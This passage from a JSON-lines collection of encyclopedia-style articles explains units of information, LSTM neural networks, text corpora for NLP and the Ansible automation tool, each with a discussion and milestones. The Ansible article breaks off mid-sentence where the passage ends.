{"text":"# Units of Information\n\n## Summary\n\n\nWe wish to quantify information or data for the purpose of storage or transfer. This helps us plan the capacity of storage systems or the bandwidth of communication systems. Service providers also use these numbers to determine pricing.\n\nThe basic unit of information is called **bit**. It's a short form for *binary digit*. It takes only two values, 0 or 1. All other units of information are derived from the bit. For example, 8 bits is called a byte, which is commonly used. Since the early 2010s, we're seeing a massive growth in the amount of data being generated worldwide. This has led to the use of higher units such as petabytes and exabytes.\n\nIn the world of quantum computing, **qubit** is the basic unit of information.\n\n## Discussion\n\n### What's the rationale for trying to quantify information?\n\nIt's been said that a picture is worth a thousand words. In digital systems, this is not a satisfactory statement. What if there's a quantitative way to compare information regardless of the form, be it a picture, a movie, printed text or a song?\n\nOutside the world of digital systems, different units exist. For a library, the number of books it has on its shelves is an essential metric. For a printer, the number of pages is more suitable but this too is not a uniform measure since the page size of a book is different from that of a newspaper. For a publisher or an author, the number of words is a better way to convey the amount of data.\n\nIn digital systems, a common unit makes it easier to design systems regardless of the type of data being handled. How much storage should you install for a desktop machine? How many images can you store on your SD card? How long will it take to download a 90-minute full HD movie? These questions can be answered more readily. \n\n\n### What are the different units of information?\n\nEight bits make a **byte** or **octet**. A thousand bytes make a kilobyte. A thousand kilobytes make a megabyte. The largest unit we have (in 2019) is a **yottabyte**, which is \\(10^{24}\\) bytes. While higher units (brontobytes, geopbytes, etc.) have been suggested, they're not official. \n\nWe also have multiples of bits: kilobits, megabits, and so on. While storage is often quoted in bytes, communication bandwidth is often quoted in bits. For example, we may say that a file is 300KB (kilobytes) in size; or a broadband connection gives a maximum of 4Mbps (megabits per second) download speed. Web browsers, however, give download speeds in bytes per second. \n\nBytes are commonly used. Each letter of the English alphabet is represented by a byte. Short emails are in the order of few hundred bytes. Typed text of a few pages is a few kilobytes. An image downloaded on the web could be a few hundred kilobytes. A song encoded in MP3 is a few megabytes. A movie is hundreds of megabytes or even a few gigabytes. In production, Avatar movie took up 1 petabyte of storage. \n\n\n### What units of information are of concern to a programmer?\n\nByte is the basic unit of memory or storage for programmers, although bit-level manipulation is possible. Since a bit can store two values, a byte can store \\(2^8=256\\) different values. \n\nFrom the perspective of programming, four bits make a **nibble**. It's common to write a byte value in hexadecimal form of two nibbles. For example, 126 is 0x7E. These nibbles are also conveniently shown when debugging memory contents. Nibbles were useful in early computer systems that used packed BCD. \n\nTwo words make a **doubleword** but what exactly is a word? The length of a word depends on the processor architecture. In a 16-bit system, a word is defined as two bytes. In a 64-bit system, a word is eight bytes. A processor executes instructions, accesses data in memory via addresses, and processes or represents numbers in words or its multiples. Thus, programmers who write low-level code need to be aware of the word size.\n\nIn C programming language, **short** must be at least 16 bits; **long** at least 32 bits; and **long long** at least 64 bits. \n\n\n### How is a kibibyte different from a kilobyte?\n\nThe prefixes kilo, mega, giga and others are based on the decimal system in which these are powers of ten. But computer systems operate on the binary system. Hence, memory and storage capacities are often quoted in powers of two. Thus, a kilobyte was 1,024 bytes, not 1,000 bytes. This led to confusion since these prefixes in SI metric system commonly referred to powers of ten. \n\nTo set right this confusion, the International Electrotechnical Commission (IEC) approved in 1998, and published in 1999, a new set of units that represented powers of two. Thus, a **kibibyte** had 1,024 bytes, a **mebibyte** had 1,024 kibibytes, and so on. \n\nHowever, industry has not widely adopted the IEC units. Thus, Windows 10 continues to report 203GB disk capacity as 189GB when it should say 189GiB.\n\n\n### How is information related to entropy?\n\nThe word information is often loosely taken to mean data. We assume that a file of size 1MB carries 1MB of information. However, from the perspective of information theory, data is not equal to information. In information theory, information is defined mathematically as the amount of uncertainty or entropy. A dice throw has more uncertainty than a coin toss, and therefore has more information to convey. \n\nAn uncompressed bitmap image has a lot of spatial redundancy in its pixel values. In other words, a pixel value can be used to predict values of neighbouring pixels. Image compression techniques exploit this redundancy. Thus, a compressed image is closer to the mathematical definition of information. But an MP3 song could contain repetitions of the chorus. Also, once we've heard the song and remember it well, it conveys less information the next time we hear it.\n\nTherefore, the phrase \"units of information\" should be interpreted as \"units of data/storage/memory\".\n\n## Milestones\n\n1928\n\nHartley studies the problem of measure information. Given \\(s\\) symbols and \\(n\\) selections, he notes that information \\(H=n\\,log\\,s\\). He describes this as,\n\n> our practical measure of information the logarithm of the number of possible symbol sequences\n\n1948\n\nClaude Shannon publishes his paper titled *A Mathematical Theory of Communication*. He introduces the word **bit** as a contraction of binary digit. He credits J. W. Tukey for coining this word. \n\nJul  \n1956\n\nDuring the design of IBM 7030 Stretch, IBM's first transistorized supercomputer, Werner Buchholz coins the term **byte** for an ordered collection of bits. It represents the smallest amount of data that a computer can process. At this time, the byte is not defined as eight bits. \n\n1960\n\nDuring this decade, 7-bit ASCII is standardized. More importantly, IBM introduces its System/360 product line that uses 8-bit Extended Binary Coded Decimal Interchange Code (EBCDIC). This leads to the popular use of 8-bit storage systems. Thus, a byte comes to represent 8 bits. \n\n1975\n\nThe prefixes *exa* and *peta* are standardized as part of the International System of Units (SI). \n\n1991\n\nThe prefixes *zetta* and *yotta* are standardized as part of the International System of Units (SI). \n\nJan  \n1999\n\nThe International Electrotechnical Commission (IEC) publishes new units of information based on powers of two: kibibyte, mebibyte, gibibyte, and so on. The letters \"bi\" replace the last two letters of the SI prefixes. While some systems have adopted these units, many others have not.","meta":{"title":"Units of Information","href":"units-of-information"}}
{"text":"# Long Short-Term Memory\n\n## Summary\n\n\nThere are several variations in neural networks, each suitable for a particular kind of data input. Standard and convolutional neural networks work well on static data, such as static image where entire data is analysed all at once. \n\nHowever, when data is dynamic and sequentially organised such as video frames or stock market values, a variant called Recurrent Neural Network (RNN) is employed. LSTM (Long Short-Term Memory) is a subset of RNNs. \n\nAs the name suggests, LSTM networks have ‘memory’ of previous states of the data. This memory is selectively tuned to remember only chosen parts of past data, even for a long time. In applications where predictions depend on previous values of data, LSTM finds great relevance. \n\nKeras and TensorFlow implementations of LSTM are extensively used in sequential prediction applications such as auto-response suggestions in emails, stock value predictions and speech/writing recognition.\n\n## Discussion\n\n### How do LSTM networks differ from recurrent neural networks?\n\nIn conventional feed-forward NN, all data values are considered equally important, irrespective of whether a day old or months old. This works fine for reading image data sets to differentiate a cat from a dog. But while dealing with time series data where every value is time stamped, relevance of data continuously reduces with passage of time. \n\nRNN can handle data dependencies, but within short time intervals. This is achieved by feeding the output of the hidden layer h(t−1) through a conceptual delay block back into the input of hidden layer. However, RNN aren’t fully effective with time-sensitive data because of the **vanishing gradient problem**. \n\nLSTM networks are a type of RNN which include a 'memory cell' that maintains information in memory for long time periods. A set of **gates** is used to control when information enters the memory, when it's output, and when it's forgotten. This architecture lets them learn longer-term dependencies. To eliminate the vanishing (or exploding) gradient problem, the LSTM cell has a unique feature called **Forget Gate**. This helps in greatly reducing the multiplicative effect of small gradients. \n\n\n### What is the typical node structure of LSTM?\n\nAll neural networks have a chain of repeating nodes in the hidden layers. Standard RNN nodes might have an input, output and a simple tanh function in the middle. In LSTM, the hidden layer nodes have three interacting functions or ‘gates’. These gates protect and control the ‘memory’ - data stored in the cell state.\n\n    + **Cell-State**: Works like a conveyor belt running through the network. Value undergoes continuous changes node after node based on information added/removed by the gates.\n    + **Hidden-State**: The actual output of that node for a given input. But always hidden because it only enters as input at the next time-step.\n    + **Input-Gate**: Open only at time step t. Here the node decides which inputs will update the current cell state and which new candidate inputs will be added to it.\n    + **Forget-Gate**: Decides what information to throw away from the cell state. It looks at the input, previous hidden state and gives a value between 0-1 for each number in the cell state. 1 – ‘Completely retain’, 0 – ‘Completely forget’.\n    + **Output-Gate**: Sends out a filtered version of the cell state as output.\n\n### How does an LSTM network selectively ‘forget’ and ‘remember’ from past data?\n\nIn LSTM, the cell state is retained as a continuous rolling value till it exits all the hidden layers and reaches the output. The 3-gate structure ensures that the cell value is controlled and protected by optionally letting information through. They are composed of a **sigmoid neural net layer** and a **tanh operation vector** for a point-wise multiplication operation. \n\nData is processed in batches. For a new batch, the input layer gets inputs from the hidden state (output layer) of the previous batch. Even textual values are coded and stored as numbers in the cell state for easy manipulation.\n\nEvery iteration follows these steps (at time step t):\n\n    + Hidden state value from t-1 and input at t are sent into the node.\n    + Forget gate removes unwanted information from the cell state using the inputs.\n    + Input gate decides what old information to retain and what new to add to the cell state.\n    + Cell state value also get stored as hidden state at t.\n    + Output gate might send filtered version of cell state either out of the hidden layers or back into a recurrent loop.\n\n### Which part of the ‘memory’ is short term and which is long?\n\nPlain vanilla RNNs are also short-term memory networks. The output of a hidden layer node can be sent back in as input after a time lag. So every node can retain the cell value in its ‘memory’ for one time step (short term). Theoretically since the loop is recurrent, the value should remain even for long time periods. However, the error correction that happens through back propagation keeps losing significance as it reaches the initial layers. This causes the hidden layer node values to deviate from the desired output after repeated cycles and the memory is lost. \n\nIn LSTM, the three gates keep the cell state safe. So the short-term memory node manages to retain its cell state throughout the network hidden layers (long time). The 'forget gate' is the critical element which stands between different time steps within the hidden layer and ensures the control and accuracy of the cell state throughout. \n\n\n### Could you explain LSTM with an example?\n\nTake a language model trying to predict the next word based on all the previous ones - “John has lived in France for several years. So *he* speaks very good French”. An important step in prediction is deciding what pronoun to use based on the subject's gender. To predict this, the network needs to recognise the subject ‘John’.\n\nAt each time step, the cell state will keep adding/updating relevant information about the subject collected from various different sentences – name, location, gender, singular or plural, etc. The three gates will ensure only relevant information remains. \n\nHowever, the next sentence may drop ‘John’ as subject and start talking about “Jenny has lived in Spain since her birth.” Now the forget gate ensures that the cell state drops the context of John and starts collecting information on Jenny. The correct pronoun to suggest for the next sentence is ‘she’.\n\nIt’s possible that the next sentences don't disturb the subject John and instead talk of other things, “France is known for its …”. Now the LSTM network will remember the context of John for a long time and suggest to use ‘he’ even 2-3 sentences later. \n\n\n### What are the data preparation steps before feeding to an LSTM network?\n\nBefore fitting an LSTM model to the dataset and making a forecast, some data transformations are performed on the dataset. Let’s extend the word sequence prediction example.\n\n    + Uni-variate input data (word sequence in example) is converted into Input -> Output format from which the model can learn. “John has lived” -> “in”, “has lived in” -> “France” and so on. We transform the time series into a supervised learning problem with stationary data. Observation at previous time-step becomes input to forecast at current time-step.\n    + LSTM models understand only numeric inputs. So encode the word sequence and punctuation marks with numeric symbols. Build a dictionary of words <-> symbols.\n    + Output is a one-hot vector identifying the index of the predicted symbol in the dictionary. Word2Vec is an optimal way of encoding symbols to vectors. To classify images, consider every image row as a sequence of pixels.\n    + Transform observations to have a specific scale. Such as, rescaling data to values between -1 and 1 to conform to the default hyperbolic tangent activation function of the LSTM model.These transforms are inverted on forecasts to return them to their original state. \n\n\n### How to train an LSTM model?\n\nLSTM models are trained to be used for sequence prediction resulting in output as a classification (assigning categorical labels) or a regression (continuous real values).\n\nTaking the word prediction example forward, the model must predict the next word in the sentence. This involves multiple iterations of training the model with past data, then evaluating its accuracy on test data. Finally, the prediction is applied on new production data. \n\nThe goal is to arrive at a final model that performs the best with respect to:\n\n    + Historical data available\n    + Training time spent on the model\n    + Data preparation steps and chosen algorithm configurations\n    + Desired prediction accuracy depending on the business caseFirst initialize the input vector, weights and biases. Define the nodes in the network (512 node LSTM network for our example). Feed inputs into the model. \n\nOutput is a multi-element vector of prediction probabilities for the next symbol normalized by the softmax function. The index of the element with highest probability is the predicted index of the symbol in the reverse dictionary.\n\nAccuracy and loss are accumulated to monitor the progress of the training. 50,000 iterations are generally enough to achieve an acceptable accuracy. \n\n\n### What the major applications of the LSTM network?\n\n    + Sequential prediction of stock price based on historical stock price values\n    + Handwriting Synthesis and recognition\n    + Speech recognition using acoustic signals (phonemes) as input\n    + Image Captioning and recognition of unnamed images in archives\n    + Synthesised music generation from previous sequence of notes played\n    + Language translation, after the entire source language input is given\n    + Flood forecasting with daily discharge and rainfall as input data\n\n### What support do TensorFlow and Keras frameworks offer to LSTM modeling?\n\n**Keras** is an open-source Python based deep learning framework. It has a user-friendly, modular API framework covering all common neural network building blocks such as layers, nodes, optimization functions and activation functions. Keras is a high-level API wrapper to run on top of TensorFlow, CNTK, or Theano. \n\nKeras models can be deployed on smartphones, online applications and JVMs. It also supports distributed deployment of deep learning models on GPU/TPU clusters. \n\nKeras high-level API handles the way we make models, defining layers, or setup multiple input-output models. It supports other common utilities like dropout, batch normalization, and pooling. \n\n**TensorFlow** is an end-to-end open source machine learning framework from Google. You install the TensorFlow module in Python and use the libraries for input-output data definition, allocating test and training data sets, model building, fitting the model, optimizing for batch and epoch sizes, training the mode and finally validating accuracy scores for prediction output. \n\nCombined use of Keras over TensorFlow is a popular option among developers, enabling fast experimentation followed by deployment. Both frameworks have good developer community support, with source code and examples available on GitHub. \n\n## Milestones\n\n1991\n\nSepp Hochreiter develops the long short-term memory (LSTM). The first results are reported in his diploma thesis. \n\n1997\n\nSchmidhuber et al. publish a type of recurrent neural network called the long short-term memory (LSTM). This overcame the vanishing gradient problem. \n\n2000\n\nStandard LSTM architecture is introduced for the first time. This architecture later becomes popular in applications. \n\n2005\n\n\"Vanilla LSTM\" using backpropagation through time is published. \n\n2015\n\nLSTM trained by CTC is used in a new implementation of speech recognition in Google's software for smartphones and for Google Translate. Apple uses LSTM for the \"Quicktype\" function on the iPhone and for Siri. Amazon uses LSTM for Amazon Alexa. \n\n2015\n\nInitial version of Keras deep learning framework is released on GitHub. In 2017, Google releases stable version 1.0.0 of TensorFlow, its machine learning framework. In 2019, TensorFlow gets tighter Keras integration. Keras and TensorFlow together enable LSTM modeling.","meta":{"title":"Long Short-Term Memory","href":"long-short-term-memory"}}
{"text":"# Text Corpus for NLP\n\n## Summary\n\n\nIn the domain of natural language processing (NLP), statistical NLP in particular, there's a need to train the model or algorithm with lots of data. For this purpose, researchers have assembled many text corpora. A common corpus is also useful for benchmarking models. \n\nTypically, each text corpus is a collection of text sources. There are dozens of such corpora for a variety of NLP tasks. This article ignores speech corpora and considers only those in text form.\n\nWhile English has many corpora, other natural languages too have their own corpora, though not as extensive as those for English. Using modern techniques, it's possible to apply NLP on low-resource languages, that is, languages with limited text corpora.\n\n## Discussion\n\n### What are the traits of a good text corpus or wordlist?\n\nIt's said that a prototypical corpus must be machine-readable in Unicode. It must be a representative sample of the language in current use, balanced, and collected in natural settings. \n\nA good corpus or wordlist must have the following traits: \n\n    + **Depth**: A wordlist, for instance, should include the top 60K words and not just the top 3K words.\n    + **Recent**: Corpus based on outdated texts is not going to suit today's tasks.\n    + **Metadata**: Metadata should indicate the sources, assumptions, limitations and what's included in the corpus.\n    + **Genre**: Unless corpus has been collected for specific tasks, it should include different genres such as newspapers, magazines, blogs, academic journals, etc.\n    + **Size**: A corpus of half a million words or more ensures that low frequency words are also adequately represented.\n    + **Clean**: A wordlist giving word forms of the same word can be messy to process. A better corpus would include only the lemma and part of speech.\n\n### What are the different types of text corpora for NLP?\n\nA plain text corpus is suitable for **unsupervised** training. Machine learning models learn from the data in an unsupervised manner. However, a corpus that has the raw text plus annotations can be used for **supervised** training. It takes considerable effort to create an annotated corpus but it may produce better results.\n\nA corpus can be assembled from a variety of sources and genres. Such a corpus can be used for **general** NLP tasks. On the other hand, a corpus might be from a single source, domain or genre. Such a corpus can be used only for a **specific** purpose. \n\n\n### What are the types of annotations that we can have on a text corpus?\n\nPart-of-speech is one of the most common annotations because of its use in many downstream NLP tasks. Annotating with lemmas (base forms), syntactic parse trees (phrase-structure or dependency tree representations) and semantic information (word sense disambiguation) are also common. For discourse or text summarization tasks, annotations aid coreference resolutions.  \n\nFor instance, British Component of the International Corpus of English (ICE-GB) of 1 million words is POS tagged and syntactically parsed. Another parsed corpus in Penn Treebank. While WordNet and FrameNet are not corpora, they contain useful semantic information. \n\nAudio/video recordings are transcribed and annotated as well. Annotations are phonetic (sounds), prosodic (variations), or interactional. Video transcripts may annotate for sign language and gesture. \n\nAnnotations could be **inline/embedded** with the text. When they appear on separate lines, it's called **multi-tiered** annotation. If they're in separate files, and linked to the text via hypertext, it's called **standalone** annotation. \n\n\n### What are some NLP task-specific training corpora?\n\nHere are some task-specific corpora:\n\n    + **POS Tagging**: Penn Treebank's WSJ section is tagged with a 45-tag tagset. Use Ritter dataset for social media content.\n    + **Named Entity Recognition**: CoNLL 2003 NER task is newswire content from Reuters RCV1 corpus. It considers four entity types. WNUT 2017 Emerging Entities task and OntoNotes 5.0 are other datasets.\n    + **Constituency Parsing**: Penn Treebank's WSJ section has dataset for this purpose.\n    + **Semantic role labelling**: OntoNotes v5.0 is useful due to syntactic and semantic annotations.\n    + **Sentiment Analysis**: IMDb has released 50K movie reviews. Others are Amazon Customer Reviews of 130 million reviews, 6.7 million business reviews from Yelp, and Sentiment140 of 160K tweets.\n    + **Text Classification/Clustering**: Reuters-21578 is a collection of news documents from 1987 indexed by categories. 20 Newsgroups is another dataset of about 20K documents from 20 newsgroups.\n    + **Question Answering**: Stanford Question Answering Dataset (SQuAD) is a reading comprehension dataset with 100K questions plus 50K unanswerable questions. Jeopardy dataset of about 200K Q&A is another example.\n\n### Could you list some NLP text corpora by genre?\n\n**Formal** genre is typically from books and academic journals. Examples are Project Gutenberg EBooks, Google Books Ngrams, and arXiv Bulk Data Access. There are many text corpora from newswire. Examples are 20 Newsgroups and Reuters-21578. \n\nFor **informal** genre, we can include web data and emails. Corpora for these include Common Crawl, Blogger Corpus, Wikipedia Links Data, Enron Emails, and UCI's Spambase. Corpora derived from reviews include Yelp Reviews, Amazon Customer Reviews, and IMDb Movie Reviews. Even more informal are SMS and tweets, for which we have Sentiment140, Twitter US Airline Sentiment, and SMS Spam Collection. \n\n**Spoken language** is often different from written language. 2000 HUB5 English is a dataset that's a transcription of 40 telephone conversations. **Signed language** can also be annotated and transcribed to create a corpus. \n\nSince languages evolve, when analyzing **old text**, our models need to be trained likewise. Examples include DOE Corpus (600s-1150s), and COHA (1810s-2000s). \n\nAnother special case is of **learners** who are likely to express ideas differently. The Open Cambridge Learner Corpus contains 10K student responses of 2.9 million words. \n\nIt's also common to have **domain-specific** corpora. For example, BioCreative and GENIA are for biology. \n\n\n### What are some generic training corpora for NLP?\n\nSome of the well-known corpora are Brown Corpus, British National Corpus (BNC), Lancaster-Oslo/Beren Corpus (LOB), International Corpus of English (ICE), Corpus of Contemporary American English (COCA), Google Books Ngram Corpus, Penn Treebank-3, English Gigaword Fifth Edition, and OntoNotes Release 5.0. \n\nWikipedia was not made for training NLP models but it can be used. We would need to strip markup. Gensim Python package has `gensim.corpora.wikicorpus.WikiCorpus` class to process Wikipedia data. \n\nGeneric corpora are usually suited for **language modelling**, which is useful for other downstream tasks such as machine translation and speech recognition. Researchers have suggested using Project Gutenberg EBooks; Penn Treebank of about a million words pre-processed by Mikolov et al. in 2011; WikiText-2 of more than 2 million words; and WikiText-103. Google's one-billion word corpus provides a useful benchmark. \n\n\n### Derived from text corpus, which datasets are useful for NLP tasks?\n\n**Wordlists** such as list of names or stopwords are useful for NLP work. Phrases in English (PIE) is another resource to explore distribution of words and phrases. It's based on the BNC corpus. \n\n**Tagsets** are essential for POS tagging, chunking, dependency parsing or constituency parsing. DKPro Core Tagset Reference is an excellent resource. University of Lancaster maintains a multilingual semantic tagset. \n\n**Treebanks** go beyond just POS-tagging a corpus. A treebank is an annotated corpus in which grammatical structure is typically represented as a tree structure. Examples are Penn Treebank and CHRISTINE Corpus. Treebanks are useful for evaluating syntactic parsers or as resources for ML models to optimize linguistic analyzers. \n\n**Word embeddings** are real-valued vectors representations of words. These have improved many NLP task including language modelling and semantic analysis. While it's possible to learn embeddings from a large corpus, it's easier to start with downloadable embeddings. Two sources for downloads are Polyglot and Nordic Language Processing Laboratory (NLPL).\n\nPerhaps by 2020, we'll be able to download pretrained **language models** and apply it to a variety of NLP tasks. \n\n\n### Which are some corpora for non-English languages?\n\nFor machine translation, it's common to have **parallel corpus**, that is, aligned text in multiple languages. We mention a few examples: \n\n    + Aligned Hansards of the 36th Parliament of Canada containing 1.3 million pairs of aligned text segments in English and French\n    + Europarl parallel corpus from 1996-2011 of 21 European languages from parliament proceedings\n    + WMT 2014 EN-DE and WMT 2014 EN-FR\n    + A corpus using Wikipedia across 20 languages, 36 bitexts, about 610 million tokens and 26 million sentence fragmentsAn excellent source is OPUS, the open parallel corpus. Lionbridge published a list of parallel corpora in 2019. Martin Weisser maintains a list that links to many non-English corpora.\n\n\n### Are there curated lists of datasets for NLP work?\n\nA simple web search will yield plenty of relevant results. Some include download links to the sources. We mention a few that stand out:   \n\n    + Linguistic Data Consortium has a list of corpora grouped by project\n    + English Corpora hosts nine large corpora\n    + The Stanford NLP Group has shared a list of corpora and treebanks\n    + Registry of Open Data on AWS stores some NLP-specific datasets\n    + NLP datasets at fast.ai is actually stored on Amazon S3\n    + Shared by users, data.world lists 30+ NLP datasets\n    + Shared by users, Kaggle list wordlists, embeddings and text corpora\n    + Nicolas Iderhoff's list of NLP datasets includes collection dates and dataset sizes\n    + Sebastian Ruder tracks NLP progress, organized by tasks, with links to external datasets\n    + Martin Weisser maintains a list of historical and diachronic corpora\n    + In NLTK Python code, call `nltk.download()` but we can download them separately as well\n    + From blogs, three separate lists are from Cambridge Spark, Lionbridge and Open Data Science\n\n### Where can I download text corpora for training NLP models?\n\nThese are the download links for some notable text corpora:   \n\n    + Brown Corpus\n    + Corpus of Contemporary American English (COCA)\n    + Penn Treebank-3 (paid)\n    + Data dumps of English Wikipedia\n    + Wikipedia Links Data\n    + Project Gutenberg EBooks\n    + Google Books Ngrams via Google or via Amazon S3 bucket\n    + arXiv Bulk Data Access\n    + Common Crawl\n    + DBpedia 3.5.1 Knowledge Base\n    + Amazon Customer Reviews\n    + IMDb Reviews\n    + Google Blogger Corpus\n    + Jeopardy Question-Answer Dataset\n    + Yelp Open Dataset\n    + Enron Email Dataset\n    + 20 Newsgroups\n    + Sentiment140\n    + SMS Spam Collection\n    + WordNet\n\n\n## Milestones\n\n1964\n\nW. Nelson Francis and Henry Kučera at the Department of Linguistics, Brown University, publish a computer-readable general corpus to aid linguistic research on modern English. The corpus has 1 million words (500 samples of about 2000 words each). Revised editions appear later in 1971 and 1979. Called **Brown Corpus**, it inspires many other text corpora. The corpus with annotations is included in Treebank-3 (1999). \n\n1992\n\n**Linguistic Data Consortium (LDC)** is formed to serve as a repository for NLP resources, including corpora. It's hosted at the University of Pennsylvania. \n\n1994\n\nA 100-million corpus of British English called **BNC (British National Corpus)** is assembled between 1991 and 1994. It's balanced across genres. A follow-up task called **BNC2014** is started in 2014, which can help in understanding how language evolves. Spoken BNC2014 is released in September 2017. Written BNC2014 is expected to come out in 2019. \n\n1999\n\n**Penn Treebank-3** is released. It's based upon the original Treebank (1992) and its revised Treebank II (1995). This work started in 1989 at the University of Pennsylvania. Treebank-3 includes tagged/parsed Brown Corpus, 1 million words of 1989 WSJ material annotated in Treebank II style, tagged sample of ATIS-3, and tagged/parsed Switchboard Corpus. Apart from POS tags, the corpus includes chunk tags, relation tags and anchor tags. The **BLLIP 1987-89 WSJ Corpus Release 1** has 30 million words and supplements the WSJ section of Treebank-3. \n\n2008\n\nCollected for the years 1990-2007, the **Corpus of Contemporary American English (COCA)** is released with 365 million words. By December 2017, it has 560 million words, adding 20 million each year. There's good balance of spoken, fiction, popular magazines, newspapers, and academic texts. It's been noted that COCA contains many common words that are missing in the American National Corpus (ANC), a corpus of 22 million words.  \n\nJun  \n2011\n\n**English Gigaword Fifth Edition** is released by LDC. It comes from seven English newswire services. It has 4 billion words and takes up 26 gigabytes uncompressed. The first edition appeared in 2003. In November 2012, researchers at the John Hopkins University add syntactic and discourse structure annotations to this corpus after parsing more than 183 million sentences. \n\nJul  \n2012\n\nFrom digitized books, Google releases version 2 of **Google Books Ngrams**. Version 1 came out in July 2009. Only n-grams that appear more than 40 times are included. The corpus includes 1-gram to 5-grams. It includes many non-English languages as well. To experiment on small sets of phrases, researchers can try out the online Google Books Ngram Viewer. \n\nAug  \n2012\n\nAs a corpus for informal genre, **English Web Treebank (EWT)** is released by LDC. This includes content from weblogs, reviews, question-answers, newsgroups, and email. It has about 250K word-level tokens and 16K sentence-level tokens. It's annotated for POS and syntactic structure. This includes Enron Corporation emails from 1999-2002. In 2014, Silveira et al. provide annotation of syntactic dependencies for this corpus that can be used to train dependency parsers. \n\nSep  \n2019\n\n**Common Crawl** publishes 240 TiB of uncompressed data from 2.55 billion web pages. Of these, 1 billion URLs were not present in previous crawls. Common Crawl started in 2008. In 2013, they moved from ARC to Web ARChive (WARC) file format. WAT files contain the metadata. WET file contain plaintext of the WARC files.","meta":{"title":"Text Corpus for NLP","href":"text-corpus-for-nlp"}}
{"text":"# Ansible\n\n## Summary\n\n\nWhen software is delivered as a service, it's important that the server and the application running on it are initialized or configured correctly. Sometimes server modules or the application itself will need to be patched or upgraded. This task is more difficult when the service resides in the cloud and is running on multiple servers. What we need is a tool to automate these tasks. This is where Ansible is useful. \n\nAnsible is well known as a configuration tool that can help us put a remote machine into a desired state. But Ansible can do more: deploy applications, orchestrate multiple tasks across multiple machines, run ad-hoc commands. In short, Ansible is a tool that enables Infrastructure-as-Code (IaC).  \n\nAnsible is open source and is sponsored by Red Hat.\n\n## Discussion\n\n### What are some typical use cases of Ansible?\n\nThe main uses of Ansible are the following: \n\n    + **Provisioning**: Provision bare-metal servers, VMs, cloud instances, and more.\n    + **Configuration Management**: Centralize configuration and push the same to all machines. This means a consistent environment for your services regardless of the machine.\n    + **App Deployment**: Manage your app's lifecycle easily, from development to production.\n    + **Continuous Delivery**: Create CI/CD pipelines without additional complexity.\n    + **Security & Compliance**: Scan and remediate site-wide security policies.\n    + **Orchestration**: Orchestrate how multiple configurations interact; manage the environment as a whole and not in silos.Consider an example of orchestration. A three-tier web app will have app servers, database servers, content servers, load balancers and a monitoring system. Ansible can do a complex cluster-wide rolling update without any downtime. In fact, Ansible enables *immutable infrastructure*, meaning that we can replace servers without service disruption. \n\nIt's interesting to note that Ansible configuration can be seen as a type of documentation and a solution for disaster recovery. \n\n\n### In Ansible, what do mean by \"agentless\" architecture?\n\nTo configure a number of host machines, one approach is to install custom programs, called **agents**, on each of these machines. The system will also have a server or control node that contains the current configuration. Each agent will periodically poll the server to obtain the configuration. The server and agent communicate using a common pre-defined protocol and port. This is otherwise called the *pull* approach. \n\nIn Ansible, there are no agents. It uses the *push* approach, whereby the server pushes configuration or commands to the hosts. Hosts are often diverse. Installing agent programs on different OS/platform is a hassle. In Ansible, SSH is used by the server to talk to a host. OpenSSH is widely deployed. It's open source and lightweight. \n\nWhat if an agent crashes? What if server and agents have mismatching versions? Some agents have reportedly used 400MB of memory. Ansible's agentless architecture avoids all these issues. We can start managing the hosts with *zero bootstrapping*. \n\n\n### Could you describe some essentials Ansible terms?\n\nFrom the complete Ansible Glossary, we describe a few essential terms:  \n\n    + **Node**: Can either be a *Control Node* or a *Managed Node*. Ansible is installed on control nodes but not on managed nodes. Managed nodes are also called *hosts*.\n    + **Inventory**: A list of managed nodes, specified by an inventory file or *hostfile*. Hosts can be organized into *groups* for easier scaling.\n    + **Task**: A unit of execution in Ansible. Each task has an associated command and does a single operation unless it has a *loop*.\n    + **Playbook**: An ordered list of tasks. These are designed to be easy to read, write, share and understand. Playbooks can use *variables*.\n    + **Module**: Reusable code that Ansible executes and can be invoked by a task. Ansible comes with dozens of out-of-the-box and ready-to-use modules. Modules are typically organized by their purpose: crypto, database, identity, messaging, network, storage, etc.\n    + **Role**: Makes playbooks modular and reusable. These are units of organization in Ansible. A role can apply variables, tasks or handlers to hosts or groups.\n\n### What's the Ansible architecture?\n\nAnsible executes on a control node and connects to hosts using SSH by default. Control node can be Linux, MacOS, or even any machine that has Python 2.7 or 3.5+ installed. Nodes need to have either SSH or PowerShell (Windows); and Python 2.6+ or 3.5+ installed. File transfer is done using `sftp` or `scp`. \n\nHosts to be managed are listed in files called inventory. Modules offer reusable execution code. Playbooks contain step-by-step instructions. \n\nConfiguration and playbooks are stored as YAML files in a well-defined directory layout. YAML is easier to learn than bash scripting. Ansible Tower, the enterprise version of Ansible, allows configuration to be stored in configuration management databases (CMDB), using PostgreSQL or MongoDB. \n\nIt's been said that, \n\n> If Ansible modules are the tools in your workshop, playbooks are your instruction manuals, and your inventory of hosts are your raw material.\n\n\n### Could you share some best practices when using Ansible?\n\nKeep it simple. Think declaratively. Don't write code in playbooks. Since modules abstract away complexity, always check if there's a module to accomplish what you want. Avoid using run commands (`command`, `shell`, `raw`, `script`), since error and state handling are difficult. Instead, write your own modules. \n\nDon't ignore errors with `ignore_errors: yes` since you'll miss unexpected errors as well. Instead use `failed_when` and other alternatives. Along with roles, use `import*` and `include*` statements to logically chunk and reuse Ansible content. \n\nIn the interest of readability, use descriptive names for both plays and tasks. Variable names can collide. Use prefixes to avoid collision and also improve readability, such as, `apache_port` and `tomcat_port` rather than just `port`. \n\nYAML's native syntax for name-value pairs is `name: value`. Use this for readability in preference of Ansible's shorthand `name=value`. The YAML syntax is easier to read and highlighted by editors and IDEs. \n\nWhen using the debug module, use the `verbosity` parameter to suppress debug messages in production. \n\nOrganize your playbooks based on roles. Have separate inventory for staging and production. Define groups based on roles and geography. \n\nAnsible-Lint and Playbook Best Practices guides can help.\n\n\n### Could you point to useful resources to get started with Ansible?\n\nFrom Ansible's official site, read an overview of Ansible. Learn about setting up SSH keys and running your first commands in the Getting Start guide. There are also a number of useful whitepapers on Ansible.\n\nTo be part of or contribute, read the Ansible Community Guide.\n\nAnsible Galaxy is a hub for downloading useful roles. Official documentation lists all Ansible modules.\n\n## Milestones\n\n2008\n\nWhile at Red Hat, Michael DeHaan starts **Cobbler**, a tool to manage Linux server environments including provisioning, managing DNS and DHCP, updating packaging, and more. Since Cobbler is unable to run ad-hoc tasks on remote hosts, **Func** is invented. The roots of Ansible are in these early tools.  \n\nFeb  \n2012\n\nAnsible begins as project with system administrators and developers being early adopters. An early adopter is Fedora Infrastructure where Puppet is replaced with Ansible. Ansible embraces the \"batteries included\" philosophy, with folks contributing 